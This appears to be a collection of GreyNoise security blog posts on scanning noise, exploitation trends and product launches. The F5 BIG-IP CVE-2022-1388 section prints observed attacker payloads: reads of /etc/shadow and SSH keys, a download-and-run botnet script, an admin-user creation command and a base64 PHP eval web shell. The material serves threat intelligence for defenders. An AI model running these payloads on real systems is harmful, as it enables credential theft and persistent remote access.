Today, I am thrilled to announce that GreyNoise has closed its Series A round fundraise. Led by Radian Capital, we secured $15M to help security teams de-prioritize noise and block mass exploitation.
I started GreyNoise in 2017 to help security teams around the world defend their organizations and spend less time paralyzed by alert fatigue. From personal experience, I knew that security teams suffer from an insane volume of alert fatigue and information overload. My vision: to build a global sensor network that would allow us to collect and analyze scanning data across the internet.
Now, five years later, GreyNoise has become the leading source of truth that enables security teams to increase their velocity by accelerating time-to-verdict. Because GreyNoise separates irrelevant internet noise from emerging threats, security teams can quickly eliminate noisy security alerts from the SOC, identify and block mass exploit attacks, hunt for compromised systems, and prioritize patching.
We currently serve more than 2,000 organizations in our community. Outside of our community product, we serve over 100 enterprise customers across every vertical and continent–as well as many government and non-profit organizations.
With this investment, we will continue to improve the efficiency of security teams by eliminating noisy alerts, as well as bring new products to market that prevent mass-exploitation traffic altogether. Anyone with a computer can scan 4.2 billion IP addresses on the IPv4 space in 5 minutes–then exploit all of them in hours–therefore every internet-connected machine gets exposed to reconnaissance and attack traffic from tens of thousands of distinct devices each day. This has created two urgent problems:
Ask any SOC analyst, and they will tell you that traditional network security products aren’t cutting it. Security tools generate thousands of alerts from harmless events that need to be investigated, and alert fatigue causes missed threats and productivity issues. Our research and customer feedback have demonstrated that this is a largely solvable problem, which is why we offer security teams a better way to stay ahead of large opportunistic attacks.
We could not have achieved this on our own without our world-class team, incredible network of customers and partners, and energized and excited user community. Your feedback enables us to become better at what we do every day. The GreyNoise team thanks you for your support, and we are honored by your continued trust in us.
I am beyond proud of the work our team at GreyNoise is doing to make your experience the best in the industry because we’re the first place you go to find out more about an alert, a suspicious connection, or a perceived threat. GreyNoise is using our Series A fundraise to do some exciting things this year, and we’re deeply pleased to have you along on our journey to a quieter internet.
Clustered CVE-2022-26134 Payloads as Observed by GreyNoise
GreyNoise has observed a number of variations of CVE-2022-26134 payloads with various intent. Shown below is a visualization of clusters of related payloads.
• IPs are removed from payloads for normalization
• Each node is a unique payload after normalization
• Each connection between nodes is when 2 nodes share a similarity score >85 using ssdeep
• Significantly dynamic payloads will not share similarity with other payloads and do not appear in the visual
On 2-Jun-22, Atlassian released a security advisory to address a remote code execution vulnerability (CVE-2022-26134) affecting all supported versions of Confluence Server and Data Center products. An unauthenticated, remote attacker could exploit this vulnerability to execute code remotely. Atlassian reports that there is known exploitation of this vulnerability.
The zero-day vulnerability was initially discovered by cybersecurity firm Volexity. In a coordinated disclosure, Volexity explained that the vulnerability was discovered over the Memorial Day weekend while performing incident response. After conducting an investigation, Volexity could reproduce the exploit against the latest Confluence Server version and disclosed it to Atlassian on May 31st.
"After a thorough review of the collected data, Volexity was able to determine the server compromise stemmed from an attacker launching an exploit to achieve remote code execution," explains a blog post by Volexity. "We were subsequently able to recreate that exploit and identify a zero-day vulnerability impacting fully up-to-date versions of Confluence Server."
Confluence Security Advisory 2022-06-02 identifies which versions were affected, and the company has issued patches for the flaw, as well as recommended temporary workarounds until the fixes can be applied.
Cybersecurity firm Shodan has identified internet-facing Confluence systems in this search query:
Given the severity of the vulnerability and ease of exploitation, GreyNoise advises organizations to:
GreyNoise Trends for Atlassian Confluence Server CVE-2022-26134 OGNL Injection Attempt:
As of 6-Jun-22 at 7:00 pm UTC, GreyNoise has observed over 850 unique IP addresses attempting to exploit the Atlassian Confluence Server OGNL Injection Attempt vulnerability, CVE-2022-26134.
Below are a set of observations from the GreyNoise Research team based on the mass exploitation activity for this CVE that we’ve captured via our passive global sensor network:
Around a third of GreyNoise sensors have been hit with this attack by a rising number of IP addresses. We have identified over 800 unique IPs in the first week of public proof of concept release, which makes this vulnerability in line with CVE-2021-44228 Apache Log4J exploitation traffic. The potential source of this large number of unique source IPs is the ease of exploitation mixed with the high-value target of Atlassian Confluence databases. The value of these databases is due to Confluence customers potentially storing important information like secrets, passwords, and proprietary knowledge in this documentation platform.
Below is a running list of various exploitation techniques seen by GreyNoise researchers:
The GreyNoise Trends tag, Atlassian Confluence Server CVE-2022-26134 OGNL Injection Attempt, provides a downloadable list of all the IP addresses observed attempting to mass exploit CVE-2022-26134 in the past 24 hours.
Atlassian has released patched versions of Confluence Server & Data Center and recommends upgrading to the latest Long Term Support release.
Until you can install the patched version of Confluence, there are several temporary mitigations you can apply:
Note - Disabling anonymous access does not provide sufficient means to mitigate this vulnerability. link
This year marks the fifteenth anniversary of the Verizon Data Breach and Investigations Report (DBIR). If you’re not familiar with this annual publication, it is a tome produced by the infamous cyber data science team over at Verizon. Their highly data-driven approach (referencing 914,547 incidents and 234,638 breaches plus 8.9 TB of cybersecurity data) helps practitioners understand malicious cyber activity across the industry. The Verizon DBIR shows how threats are trending and evolving, as well as the impacts these malicious actions have on organizations of every shape and size.
This year, as in years gone by, GreyNoise researchers contributed our insights-infused, planetary-scale, opportunistic attacker sensor fleet data to the Verizon DBIR. This is the same data that fuels our platform and helps defenders mitigate threats, understand adversaries, and focus on what matters.
Let’s take a look at the key findings from the report, what our data has to say about the current threat landscape, and how you can use insights from our data to help keep your organization safe and resilient.
The DBIR team provided five key elements in their overall summary, and we’ll take a modest dive into each of them.
First up is how attackers breach your defenses. It will come as no shock to most readers that the use of credentials, phishing attacks, vulnerability exploitation, and botnets are all initial techniques that attackers use to breach the defenses of organizations.
Given the propensity of credential use in initial access, you may wonder why attackers even bother using other means of gaining a foothold. While there will always be services deployed on the internet with default credentials left intact, user credentials do not age very well and need to be re-upped regularly (usually by breaching an organization to steal them en masse). Make no mistake, they work far too often, especially for juicy services such as Microsoft’s Remote Desktop Protocol, which is why they are used in the first place.
Creds are noisy, and phishing does take some effort to do it well, even when using phishing kits or attacker phishing-as-a-service providers. Scouring the internet for vulnerable services is almost risk-free, relatively cheap, and can lead to remote code execution on a decent percentage of nodes, as Figure 43 of the DBIR shows (GreyNoise provided the data behind the chart for the DBIR team to work their magic on):
If you ensure you have safe and resilient configurations on your internet-exposed assets and mission-critical internal systems, plus have empowered your workforce to be co-defenders of your organization, you may avoid becoming a statistic, at least in this category.
Ransomware also plagued more organizations than ever this past year, with a 13% increase from 2020, as shown in our reimagining of Figure 6 in the DBIR. The DBIR’s ransomware corpus is far from complete, but aligns in proportion with statistics from other sources of ransomware incidents.
As noted in the text of the report, ransomware starts with some action; usually, one of those found in the Initial Actions noted above. Ransomware actors often take advantage of the latest and greatest exploits for recent CVEs, which is activity you can track in the GreyNoise platform to help you frame the need for speed when it comes to mitigating and patching.
Prioritizing patching actively exploited vulnerabilities should be at the top of your to-do list.
Supply chain attacks have been making headlines ever since the highly disruptive SolarWinds incident back in 2019 (though there have been numerous documented supply chain attacks long before that mega-event). The DBIR documented over 3,400 “System Intrusion” events this year, showing you need to be as vigilant on the inside as you are on your internet-facing attack surface; this ensures you aren’t a conduit to other organizations for criminals. Furthermore, you should have a solid third-party risk management program and some way to track software development dependencies, which prevents breach by those you trust.
In this year’s corpus, the DBIR team found that 13% of breaches were caused by errors, often when it comes to securing cloud storage. So, make sure you mind your buckets, but take some comfort: this particular disheartening statistic appears to be stabilizing.
Humans likely helped cause some (most?) of the aforementioned misconfigurations as well as many other incidents that ended up as breaches. As the DBIR researchers themselves note: “Use of stolen credentials, phishing, misuse, or simply an error, people continue to play a very large role in incidents and breaches alike.”
GreyNoise has tools, data, and insights which easily integrate into your comprehensive cybersecurity program to help keep your organization safe and resilient.
We’re almost halfway through the year, and if you’ve managed to avoid a major incident or breach so far, you’re doing pretty well. But (there’s always a “but”), we should note that we’re also likely to see more groups like LAPSUS$ pop up to use their smash-and-grab model. Plus, you’ve also got all the old-school attacks to worry about.
If you and your team can filter out the noise, figure out what you don’t need to do, and get visibility into the areas you do need to focus on (while ensuring you have a spot-on incident response program), you may just make it another year without adding to the 9.8 terabytes of data the DBIR team already has to crunch for each report.
.jpg)
On 4-May-22, F5 Networks issued Security Advisory K23605346: BIG-IP iControl REST vulnerability CVE-2022-1388, which allows an unauthenticated attacker to take control of an affected system. According to NIST’s National Vulnerability Database, CVE-2022-1388 carries a CVSS score of 9.8 CRITICAL out of 10.
"This vulnerability may allow an unauthenticated attacker with network access to the BIG-IP system through the management port and/or self IP addresses to execute arbitrary system commands, create or delete files, or disable services," F5 said in an advisory. "There is no data plane exposure; this is a control plane issue only."
The F5 Security Advisory identifies which versions are affected, and the company has issued patches for the flaw, as well as recommended temporary workarounds until the fixes can be applied.
As of May 8, 2022, a number of security researchers started sharing evidence of their successful exploitation attempts:
Given the severity of the vulnerability and ease of exploitation, GreyNoise advises organizations to apply mitigations or patch immediately.
GreyNoise Trends for F5 BIG-IP iControl REST Authentication Bypass:
As of 14-May-22, GreyNoise has observed 173 unique IP addresses attempting to exploit the F5 BIG-IP iControl REST Authentication bypass vulnerability, CVE-2022-1388.
Below are a set of observations from the GreyNoise Research team based on the mass exploitation activity for this CVE that we’ve captured via our passive global sensor network:
Although GreyNoise has seen a rising number of IP addresses using this attack, this is still a relatively low number when compared to the first week of the Apache Log4J Vulnerability CVE-2021-44228, which had up to 800 unique IPs in the first days of public proof of concept release. This is potentially because of the large number of devices with “F5 BigIP'' in their title on Shodan and the large percentage of those that could be honeypots. Some honeypots lack crucial characteristics that this attack relies on, such as a server associated with the vulnerability like Apache or Jetty, and therefore are worthless to the attacker.
A large number of file requests - using ‘cat’ and then a filename allows the attacker to read the files they are requesting. They can use this information as reconnaissance for further attacks.
<pre><code>cat /root/.bash_history
cat /etc/hosts
cat /config/bigip.conf
cat /var/ssh/root/identity
cat /config/bigip_user.conf
cat /var/ssh/root/authorized_keys
cat /etc/shadow
cat /var/ssh/root/identity.pub</code></pre>
A single f5 master key grab attempt (Source: https://support.f5.com/csp/article/K9420)
<pre><code>f5mku -K</code></pre>
“Add to botnet” script - a small script starts by using ‘<span class="code-block" fs-test-element="rich-text">unset histfile</span>’ commands to stop the command history from being saved to the box. The script then reaches out to an external IP to get a file called “<span class="code-block" fs-test-element="rich-text">sitemap1.jpg</span>”, and then rules that file as a perl script. That perl script adds the machine to an IRC-based botnet.
<pre><code>unset HISTFILE;unset HISTSAVE;wget http://[x.x.x.x]/sitemap1.jpg;fetch http://[x.x.x.x]/sitemap1.jpg;curl -O http://[x.x.x.x]/sitemap1.jpg;perl sitemap1.jpg;rm -rf sitemap*\</code></pre>
Credential stuffing - we’ve seen an interesting approach to credential stuffing used - a base64 encoded login string which decodes to admin:horizon 3. @Horizon3Attack is the name of the group which first released their PoC for this exploit.
Exploit failures - we’re seeing some things that just don’t work.
User creation - the user created results in an admin role with a bash shell, giving the attacker potential command line access if the command actually creates the user.
<pre><code>tmsh show running-config /auth user; tmsh create auth user syscron password MfWmK86skPwXiTG partition-access add { all-partitions { role admin } } shell bash'</code></pre>
Potential php eval script injection - a small script that edits the imgTui.php script internal to the F5. This technique is a potential php eval script injection.
<pre><code>mount -o remount -rw /usr;echo PD9waHAgQGV2YWwoJF9SRVFVRVNUWydUN01IeXJkM0w2J10pOw== | base64 --decode > /usr/local/www/xui/common/images/imgTui.php;mount -o remount -r /usr</code></pre>
GreyNoise Trends for F5 BIG-IP iControl REST Authentication Bypass provides a downloadable list of all the IP addresses observed attempting to mass exploit CVE-2022-1388 in the past 24 hours.
F5 has recommended installing patched versions of F5 BIG-IP that are known to be vulnerable.
Until you can install the patched version of BIG-IP, there are several temporary mitigations you can apply:
By Brad LaPorte, Gartner Veteran & Strategic Advisor to GreyNoise and Panther Labs
My two best friends just became BFFs. Before I can talk about how awesome this is, I need to start at the beginning…
Let's rewind back to July 8, 2019, when I slid into Andrew Morris’s DMs to learn more about what GreyNoise was all about. Little did I know that this initial conversation would evolve into the bromance that thrives today. At the time, the team was tackling a very serious problem that had been plaguing security teams since the dawn of the SIEM in 2006 - alert fatigue as well as spending over 50% of their time and resources dealing with useless false positives. To this point, no one had really tackled this problem. Somehow this crack team of fewer than 5 people was able to make a dent which has had a ripple effect throughout the market. Being the research analyst that I was, I dug in like an Alabama tick. In every conversation we had, I needed to learn more…
Flash forward to May 2020 - I had the honor of acting as lead author of the Cool Vendors report as a research analyst at Gartner. The bar is extremely high for vendors that have the rare opportunity to be selected for this report, but GreyNoise was an easy selection. They exceeded all marks across customer feedback, inquiries, and the benchmark criteria that Gartner sets for inclusion.
Punch it into lightspeed - a year ago, I teamed up with my business partner, Dan Schoenbaum, to act as an independent consultant with High Tide Advisors. I rekindled my relationship with Andrew and formed an official business agreement to aid them in their Go-To-Market Strategy.
Simultaneously I was introduced to Jack Nagileri, CEO and Founder of Panther Labs, who was making a rather HUGE splash in the SIEM space. With a new and innovative approach to alleviating the pain of traditional SIEM via detection-as-code, a robust security data lake, and huge scalability with zero-ops, Panther currently has a $1.4 billion valuation. They are addressing the same root problems I had dealt with for many years while working in the US Department of Defense, Dell SecureWorks, IBM, as well as other security teams throughout my 20-year career.
Over the past few months, I have had the pleasure of writing several content pieces and hosting webinars on very hot topics in the market for both companies. I have grown so much with both organizations, professionally and personally. It is a true pleasure to see the union of them operating together - like finding that last puzzle piece that completes a picture.
In order to fully understand and appreciate this union, it is important to capture what exactly is happening in the industry…
Every day, cybercriminals are plotting new methods of cracking through the infrastructures of organizations, and their activity continues to ramp up. Just looking at Common Vulnerabilities and Exposures (CVE) alone, we saw 50 new CVEs introduced per day on average in 2021, a record 18,376 for the year, and a trend that has continued into 2022.
Security teams are tasked with safeguarding their organizations from these CVEs but are overwhelmed by the sheer volume. While regulators have set an expected response time of 48 hours or less from the time a threat is detected, the reality is that most organizations don’t come anywhere close to meeting that timeframe. “Cybersecurity teams inside large organizations take over three months (96 days) to develop the skills necessary to defend against breaking cyber threats,” according to a recent report by the cybersecurity training organization Immersive Labs.
Part of the problem lies in inadequate staffing levels. In 2021, the shortage of skilled cybersecurity workers worldwide totaled 2.72 million, which may be underselling the problem, according to some analysis. But the other part is that security tools have become so hyper-vigilant about perceived – and often false -- threats that they are in constant alert mode, resulting in alarm fatigue for the understaffed security team.
A (VERY) oversimplified breakdown of basic cybersecurity responsibilities can be categorized into two phases:
What teams need are tools that provide highly refined automation to point them only to those threats that are a danger, and then steer them to prioritized remediation actions for their infrastructures.
That’s exactly what GreyNoise and Panther are now offering through a new collaboration between the two cybersecurity vendors. GreyNoise gets rid of the noise of false or irrelevant threats, while Panther helps teams address those that are significant and need attention.
To understand how the two platforms work in tandem, think of the task of ensuring the water in a home is safe to use. You could let all the water in and then apply filters on every pipe in the house, or you could start with one large filter that blocks hazardous substances before they enter the rest of the plumbing.
That first filtration method is what GreyNoise is now offering their customers for free – a tool that collects, analyzes, and labels data on IPs that scan the internet and generate noise that amounts to irrelevant or harmless activity. In the filtration analogy, it’s lessening the amount of work that filters further down the line would have to perform. This level of filtration is GreyNoise’s Basic level of service.
GreyNoise also offers subscription services that add two key features:
In the water analogy, these services provide guidance about potentially harmful substances that have seeped through and where they may be located.
From there, Panther’s tools provide further refinement and actions. To begin with, it can sort through dangers produced by individual sources and locations: cloud, hybrid, SaaS, application, network, and more. Those threats are further analyzed and investigated, then prioritized into alert levels: low, medium, high, and critical.
Working together, the two platforms curb the din of alerts that security teams are subject to, then help them zone in on real threats that require their attention.
Simply Said - These two solutions together pack one hell of a big PUNCH!
Both GreyNoise and Panther are relatively recent additions to the cybersecurity market, but they’ve already made their mark. GreyNoise is trusted by the U.S. Department of Defense, Fortune 500 enterprises, top security vendors, and tens of thousands of threat researchers. Panther has been embraced by customers such as Dropbox, Zapier, Snowflake, and more. They both provide organizations the ability to scale their use rapidly with absolutely no penalty in performance.
GreyNoise gives organizations an opportunity to see its benefits by signing up for a free account. Panther’s value can be seen by registering for a demo.
Learn More:
Starting today, all Panther customers have out-of-the-box access to GreyNoise to improve their detection fidelity.
SOC teams are slammed today, and alert overload is a huge part of the problem. Too many security tools simply produce large quantities of data to be analyzed–without contextualizing potential threats–and false positive rates up to 50% are the norm. This puts a huge burden on analysts tasked with researching or investigating every alert that gets generated. What’s driving this situation for SOC teams? A couple of thoughts:
A SIEM platform is one of the primary tools detection and response teams use to secure enterprise environments. But traditional SIEM solutions make it complex and difficult to create detections that deliver high-fidelity alerts. Faced with an unending volume of low-quality and false alerts, many SOC teams end up getting behind, taking shortcuts, and often simply purging un-reviewed alerts. On the human side, alert fatigue sets in, effectiveness falls dramatically, and the analyst team starts to churn, making an already challenging talent situation worse.
The traditional approach to threat intelligence is to identify more and more (and yet more!) threat indicators that are “suspicious.” Often, these threat indicators are low fidelity and come with very little context for a security analyst. The result - too many false positives and alerts about events that turn out to be harmless or irrelevant to the organization.
Every machine connected to the internet is exposed to scans and attacks from hundreds of thousands of unique IP addresses per day - we call this “internet background noise.” Some of this traffic is from malicious attackers driving automated, internet-wide exploit attacks. And some of the traffic is benign activity from security researchers, common bots, and business services. And some of it is just unknown. But taken together, this noise triggers thousands of events requiring human analysis.
To address this challenge, Panther and GreyNoise have partnered to provide integrated, out-of-the-box threat intelligence in the Panther threat detection platform that helps teams intelligently reduce the number of alerts in the SOC while prioritizing emerging threats.
Unlike other threat intelligence vendors, GreyNoise is solely focused on providing high-fidelity data on IPs that are actively scanning, crawling, and attacking the internet. By classifying each IP by intent (benign, malicious, or unknown), GreyNoise and Panther help SOC teams craft detection and alerting logic that intelligently rules out internet background noise, and prioritizes mass exploit and targeted activity.
The Panther-GreyNoise integration provides Panther customers with a free, out-of-the-box integration of GreyNoise data sets. All alerts in Panther are enriched with GreyNoise IP data, and detections can be quickly and easily written using the GreyNoise python library.
There are several key use cases for leveraging GreyNoise enrichment data within Panther:
GreyNoise provides context on noisy IP addresses that scan the internet. Panther customers can build detections that evaluate the “intent” of a scanner IP address (benign, malicious, unknown) and then simply suppress or de-prioritize the alert. Using this approach, GreyNoise customers have been able to reduce their alert volumes by 25% or more.
One of the key first steps a security analyst often takes in triaging an alert is to research the IP address to determine if it is malicious. With GreyNoise data enriching the IP addresses associated with an alert, the analyst can quickly “rule out” IP addresses that are known to be benign or from common business services like Microsoft Update, Slack, or Zoom. This can save significant time on manual research. In addition, GreyNoise provides valuable context on known malicious internet-wide scanners that help speed up the triage process. One GreyNoise customer is saving one day per analyst per week, giving their team 20% more capacity to focus on true threats.
Mass scanning and exploitation attacks have surpassed phishing attacks as the top attack vector, and SOC teams are often struggling to respond. Huge “celebrity” vulnerabilities like Log4j/Log4Shell, OMIGOD, and ProxyShell have forced security teams to scramble to block attacks, identify vulnerable systems, do emergency patching, and hunt for compromised systems while “under the gun.” With GreyNoise data, organizations have real-time visibility into all the mass exploitation IPs targeting a specific vulnerability, providing critical actionable data during an active attack.
GreyNoise Basic is natively integrated at no extra charge for all Panther customers, and includes a subset of the GreyNoise NOISE and RIOT data sets. This means Panther customers can quickly and programmatically identify the following:
GreyNoise Advanced provides full context details from the NOISE and RIOT datasets, supporting advanced detections, richer investigation context, and faster threat hunting. The data includes tags, CVEs, geo-data, first-seen/last-seen dates, ports and protocols scanned, web paths, user agents, and more. GreyNoise Advanced requires an additional license - please contact your Panther or GreyNoise representative for more information.
The GreyNoise data sets are included as Lookup Tables in the Panther platform, and GreyNoise NOISE Basic and GreyNoise RIOT Basic are accessible by default.
GreyNoise and Panther have developed a python library for GreyNoise data to simplify writing detections. This library makes it quick and easy to add detection logic for GreyNoise data, so you can add detections like greynoise.is_noise to evaluate IP behavior.
We are extremely excited about this integration between GreyNoise and Panther. We’ve had numerous customers and prospects ask us when we would be able to deliver this, and the answer is NOW. To get additional information about the integration, check out these resources:
UPDATE 28-Mar-22: A new PoC was released today for CVE-2022-26318 on WatchGuard Firebox and XTM appliances. Here are a couple of links to watch for new activity:
Somebody has dropped the exploit for the pre-auth RCE (CVE-2022-26318) on WatchGuard Firebox and XTM appliances.
PoC: (NA) @GreyNoiseIO observed wild exploitation activity already.
Further analysis on https://t.co/xZSSvvSNxB (Yassine Aboukir 🐐 , @Yassineaboukir, March 28, 2022
---
As of February 27th, GreyNoise identified exploit activity targeting WatchGuard Firebox and XTM appliances. The logs of the associated traffic were shared with WatchGuard, who confirmed it was related to CVE-2022-26318. This vulnerability was published by NVD on March 3rd and was last modified on March 15th.
CVE-2022-26318 - On WatchGuard Firebox and XTM appliances, an unauthenticated user can execute arbitrary code, aka FBX-22786. This vulnerability impacts Fireware OS before 12.7.2_U2, 12.x before 12.1.3_U8, and 12.2.x through 12.5.x before 12.5.9_U2.
There is currently no publicly available proof-of-concept for this vulnerability, and we have reason to believe that this is currently being exploited by a sophisticated actor.
Find our GreyNoise tag to track and monitor this activity: GreyNoise Search | GreyNoise Trends.
WatchGuard has published a software patch for CVE-2022-26318 and included it in the same software update that addressed Cyclops Blink. The FBI, CISA, DOJ, and UK NCSC worked closely with WatchGuard to develop the remediation plan for Cyclops Blink, which can be found at https://detection.watchguard.com/. These steps objectively address both Cyclops Blink and CVE-2022-26318 by updating the Fireware OS to the newest version. It is strongly advised that the steps as outlined be followed in their entirety.
If you are exclusively addressing CVE-2022-26318 as part of network security operations, the relevant Fireware release notes and documentation on Firebox remote management best practices are linked below:
The following IOCs are provided to aid network security operations teams who may be unable to patch due to extraneous factors (such as those living with strict SLAs). Some artifacts of the observed payloads are described in an intentionally vague manner to prevent usage in offensive exploitation. As of this writing (March 17, 2022), no publicly available Proof-Of-Concept exploitation code is known to exist.
Observed CVE-2022-26318 payloads connect using a TLS wrapped TCP socket with a destination port of 4117, a port used for the management interface of WatchGuard products. An HTTP request is sent over the TLS connection.
POST /agent/login HTTP/1.1
The URL path used for authentication for the WatchGuard management interface
Host: <victim_ip>:4117
This port is used for the WatchGuard management interface.
Content-Encoding: gzip
The body of the POST request is compressed with gzip
Content-Length: 673
Observed gzip compressed HTTP body payloads have a Content-Length of greater than 600 bytes.
For comparison, a well-formed benign authentication attempt to this HTTP path measures at just ~450 bytes prior to compression.
The body of observed payloads are sent gzip compressed. Example payload compression attributes:
It is unclear at this time whether a gzip compressed payload body is necessary for exploitation.
The contents of the gzip compressed payload contain a stream of data (named in order of appearance):
This python code does the following:
Please check out GreyNoise Search | GreyNoise Trends to track the latest activity for this vulnerability, and check back on this blog for periodic updates (we’ll add new information to the top of the page).
The increasing frequency of internet-wide exploit attacks targeting newly announced vulnerabilities is a tremendous challenge for security teams. There is a long line of “celebrity vulnerabilities” that we at GreyNoise have observed with increasing alarm. And given our focus on internet noise, customers have naturally been asking for our help in providing visibility into vulnerabilities being actively exploited in the wild.
This is why we created GreyNoise Trends, a new view into the GreyNoise data set to help security analysts identify and respond to internet attacks targeting specific vulnerabilities.
When a new vulnerability is discovered and announced, it's a race against time to see who can find vulnerable servers first. For example, when the Apache Log4j vulnerability (CVE-2021-44228, aka “Log4Shell”) was announced on December 5, 2021, GreyNoise saw a dramatic spike in internet-wide scanning activity searching for servers that exposed this vulnerability:
Note that thousands of unique IP addresses searching for a vulnerability can generate billions or trillions of connection requests across the internet, generating a storm of internet noise that makes it difficult to identify true threats.
For security teams, responding to this kind of event is extremely challenging. Under pressure of a newly announced vulnerability, they need to understand how serious the vulnerability is, whether it is being actively exploited in the wild, whether they are vulnerable, and whether they may have already been compromised. And if they have vulnerable systems, they need to patch them on an emergency basis.
According to a recent report by IBM, severe vulnerabilities in internet-facing enterprise software are being exploited and weaponized at a higher frequency, at massive scale:
Furthermore, the amount of time between disclosure of a new vulnerability and the start of active exploitation has been reduced to a matter of hours, leaving defenders with less time to react and respond.
GreyNoise Investigate helps security analysts identify and respond to opportunistic “scan-and-exploit” attacks, providing context about the behavior and intent of IP addresses scanning the internet. Investigate allows security teams to:
With the release of Investigate 4.0, GreyNoise has created a new Trends page that helps security analysts identify and respond to internet attacks targeting specific vulnerabilities. This new page provides two key capabilities:
Taken together, this new Trends functionality allows security teams to quickly understand if a vulnerability is relevant to their organization, and buys them the time they need to put security defenses in place.
Note that GreyNoise continues to be committed to supporting the broader security community via our free Community plan, and this new GreyNoise Trends functionality is included. Community members will be able to subscribe to a single tag to export the Dynamic IP list.
In addition, for severe vulnerabilities with global impact, GreyNoise will selectively make the full functionality of the paid Trends page available to ANYONE who wants to take advantage of it, including both attack visibility and dynamic IP lists.
One important note about GreyNoise Trends - we’ve launched this new capability as Beta code for several reasons:
So please, sign up for a free GreyNoise Community account if you don’t already have one, try out GreyNoise Trends, and let us know what you think. And to get you started, here are a few interesting Trends pages to check out:
Security organizations have historically been hesitant to block IP addresses at their perimeter to stop the bad guys. There are two primary reasons for this - the short lifetime of malicious IP addresses, and the generally poor quality of IP block lists (i.e., way too many false positives). As David Bianco mentions in his Pyramid of Pain blog, “If you deny the adversary the use of one of their IPs, they can usually recover without even breaking stride.”
However, in the situation of an emerging “exploit storm” where the organization is exposed with unpatched vulnerable systems, we think that short-term blocking of mass exploitation attackers could be helpful and valuable. So we decided to run an experiment to test whether this strategy (which we started calling “whack-a-mole”) might help.
The whack-a-mole strategy temporarily blocks IP addresses that have been observed scanning for or actively exploiting a vulnerability over the past 24 hours. The intent is to provide breathing space for security teams to patch vulnerable systems and search for compromises that may have occurred before blocking was implemented.
In order to test whether this security strategy could work, GreyNoise Research conducted a study comparing the compromise rates between two weakly-credentialed servers - one using the whack-a-mole IP address blocking strategy, and the other that was wide open to the Internet.
“Whack-a-mole” shows a surprising amount of promise in blocking of mass exploitation attacks:
Read on for more details about the GreyNoise Research IP Blocking study.
Since early December, security teams have been scrambling to deal with the fallout from the Log4Shell vulnerability (CVE-2021-44228). This vulnerability was particularly serious given the broad deployment in internet-facing systems of the Log4j service. Because of the massive surge of exploit scanning we observed and requests from our Community, we created a publicly available set of IOCs to help security teams defend themselves from the massive barrage of vuln checking and remote code execution attempts. Within 24 hours, we were able to stand up data sets that included:
The consistent feedback we received was that this data was most helpful in the early (and most crucial) hours and days of this exploit storm.
After things calmed down, we asked ourselves a question - how were people using the data? When we reached out to ask folks, we found two general use cases:
These use cases were particularly interesting to us, given the traditional viewpoint that IP blocking is not useful.
Based on this feedback, we decided to run an experiment with our GreyNoise IP data to determine if there might be some value to the “whack-a-mole” strategy of blocking malicious mass scanner IPs during the early stages of an exploit storm.
According to a recent report by IBM, severe vulnerabilities in internet-facing enterprise software are being exploited and weaponized at an increasing rate and at massive scale. Opportunistic “scan-and-exploit” attacks are quickly approaching phishing as the most-used cyber attack vector, with 34% of attacks in 2021 using vulnerability exploitation, compared to 41% of attacks leveraging phishing.
So we are using the term “Mass Exploitation” to describe these large-scale, opportunistic attacks launched by attackers trying to take advantage of common or newly announced vulnerabilities. These attackers use mass scanning technology to cast a broad net across the entire 4.2 billion IP addresses on the internet, trying to locate, vuln check, and ultimately exploit vulnerable internet-facing devices. This type of attack is very different from a more traditional “targeted attack” that aims for a selected, focused target.
Mass exploitation attacks are conducted for a variety of reasons, including:
Our hypothesis for this experiment was that blocking opportunistic “scan and exploit” IP addresses would meaningfully increase the amount of time it takes for a vulnerable host on the Internet to be compromised.
We set up two identical vulnerable hosts, open to the Internet, with weak or default credentials, and then measured how quickly they would be compromised by credential stuffing/brute force attacks:
For one of these hosts (the BLOCKED host), we loaded up a list of all the scanner IPs from our GreyNoise NOISE data set into an iptables blocklist. This list came from an export of all IPs seen in GreyNoise in the past day using the filter “last_seen:1d”. For the other host (the UNBLOCKED host), we did not block any IPs.
Our goal was to measure the time to first compromise, as well as the total number of compromises seen over a similar time period. We used OpenCanary for our honeypots and ran the experiment from January 12-30, 2022.
Our preliminary results show that whack-a-mole blocking works. On average, the wide open (unblocked) server was compromised in 19 minutes, while the blocked host took 4 days, 6 hours, and 24 minutes to be popped. We also measured the average number of compromises per day, and the number of compromise attempts per hour - all of these statistics showed significant differences between the protected and unprotected servers.
.png)
One insight worth mentioning is the decay rate we saw with the IP address list we used. For our blocked server, we only sourced one set of IP addresses and did NOT update the list with fresh IPs every 24 hours. What we observed was that connection attempts increased exponentially each day over the 5 days of the experiment, indicating that the IP list “decayed” in terms of effectiveness over time as the IP list aged.
Tracking the total attempts made, the first day saw an average of six attempts, and the fifth day was over 2,500. By comparison, the unblocked hosts saw between 2100 and 7100 attempts in the first 24 hours compared to 5 - 8 attempts on the blocked host. The unblocked hosts ended up getting compromised so quickly that we never kept them up for longer than a day.
One conclusion we can draw from this is that “fresh” IP addresses are crucial. In order to remain effective, an IP blocklist must be updated at least every 24 hours.
We have launched a new capability as part of our service called GreyNoise Trends that provides visibility into trending internet-wide exploits, as well as the ability to download “fresh” IP lists of all the malicious IPs participating in the attacks over the past 24 hours. This service was initially created based on customer requests experienced during Log4j. But we think the experiment described above helps validate the value of IP block lists for malicious mass scanners, and their use as part of a whack-a-mole strategy. Of course, your mileage may vary, and your defense infrastructure will be different from ours.
If you’re interested in learning more about this blocking strategy or trying to replicate the experiment for yourself, please visit https://www.greynoise.io/ to create a free Community account, and join our Community Slack to join the discussion. Also, please come to our Open Forum webcast on March 17, 2022 at 11am ET. You can register to attend here.
While you will be able to find a comprehensive list of all the tags created since our last round up below, the GreyNoise Research team wanted to highlight some interesting tags.
Apache Log4j RCE Attempt [Intention: Malicious]
Self Explanatory.
Backdoor Connection Attempt via WinDivert [Intention: Malicious]
This tag was created this week as a result of the research done by the Avast team.
DNS Over HTTPS Scanner [Intention: Unknown]
Relatively new technology. It's interesting because “why would you scan the internet for that?” and there's no clear motive - that we can tell.
Microsoft HTTP.sys RCE Attempt [Intention: Malicious]
Critical vulnerability in MS Windows’ http.sys kernel module.
VMware vCenter SSRF Attempt [Intention: Malicious]
Widely popular server management software.
Zoho ManageEngine ServiceDesk Plus msiexec RCE Attempt [Intention: Malicious]
A critical vulnerability in a popular help desk platform.
It has been a while since we last published a Tag Round Up! If these are helpful to you, or you have suggestions on what you would like to see, please reach out to community@greynoise.io
Antiwork Port 9100 Print Request [Intention: Unknown]
This IP address has been observed sending distinct RAW TCP/IP requests to network printers. References:
Backdoor Connection Attempt via WinDivert [Intention: Malicious]
